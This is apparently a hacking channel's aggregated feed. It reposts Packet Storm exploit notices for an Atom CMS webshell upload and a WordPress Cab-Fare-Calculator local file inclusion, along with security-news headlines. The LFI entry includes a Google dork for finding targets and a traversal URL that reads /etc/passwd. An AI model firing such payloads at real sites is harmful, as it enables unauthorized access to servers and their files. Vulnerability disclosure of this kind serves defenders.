Exploit Collector
Atom CMS 1.0.2 Shell Upload

https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png
Atom CMS version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 96d978d4ce51689762e987b3a4617e53

Download
# Exploit Title: Atom CMS 2.0 - Remote Code Execution (RCE)
# Date: 22.03.2022
# Exploit Author: Ashish Koli (Shikari)
# Vendor Homepage: https://thedigitalcraft.com/
# Software Link: https://github.com/thedigicraft/Atom.CMS
# Version: 2.0
# Tested on: Ubuntu 20.04.3 LTS
# CVE: CVE-2022-25487

# Description
This script uploads webshell.php to the Atom CMS. An application will store that file in the uploads directory with a unique number which allows us to access Webshell.

# Usage : python3 exploit.py
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Cab-Fare-Calculator 1.0.3 Local File Inclusion

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
WordPress Cab-Fare-Calculator plugin version 1.0.3 suffers from a local file inclusion vulnerability.

MD5 | d64a62082b29c71a1ae25d3844040125

Download
# Exploit Title: WordPress Plugin cab-fare-calculator 1.0.3 - Local
File Inclusion - Unauthenticated
# Google Dork: inurl:/wp-content/plugins/cab-fare-calculator/
# Date: 29-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/cab-fare-calculator/
# Version: 1.0.3
# Tested on: Firefox
# Contact me: h [at] spidersilk.com

# Vulnerable File: tblight.php

# Vulnerable Code:

```
if(!empty($_GET['controller']) && !empty($_GET['action']) &&
!empty($_GET['ajax']) && $_GET['ajax'] == 1)
{
require_once('' . 'controllers/'.$_GET['controller'].'.php');
}
```

# Proof of concept:

http://localhost:10003//wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How Security Complexity Is Being Weaponized

As environments grow noisier, it becomes easier for attackers to intentionally create distractions.

Dark Reading: Attacks/Breaches
Cybercriminals Fighting Over Cloud Workloads for Cryptomining

Whether compromising misconfigured cloud infrastructure or taking advantage of free-tier cloud development platforms, attackers see a vast pool of workloads to use for cryptomining.

Dark Reading: Attacks/Breaches
Smart Cities: Secure by Design? It Takes a Village

Smart-city security breaches have potentially very serious consequences — they can be economically devastating and even life-threatening, if handled wrong.

Dark Reading: Attacks/Breaches
Cloud Security Architecture Needs to Be Strategic, Realistic, and Based on Risk

Info-Tech Research Group has released a new research blueprint to help organizations plan the components necessary to build a cloud security architecture.

___________________________
@hacking_Attack
@Hacking_Video

Participate in the Microsoft Sentinel Hackathon Spring 2022! Win up to $10,000!
https://www.reddit.com/r/redteamsec/comments/tsb9s7/participate_in_the_microsoft_sentinel_hackathon/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/SentinelHackathon2022) [comments] (https://www.reddit.com/r/redteamsec/comments/tsb9s7/participate_in_the_microsoft_sentinel_hackathon/)

___________________________
@hacking_Attack
@Hacking_Video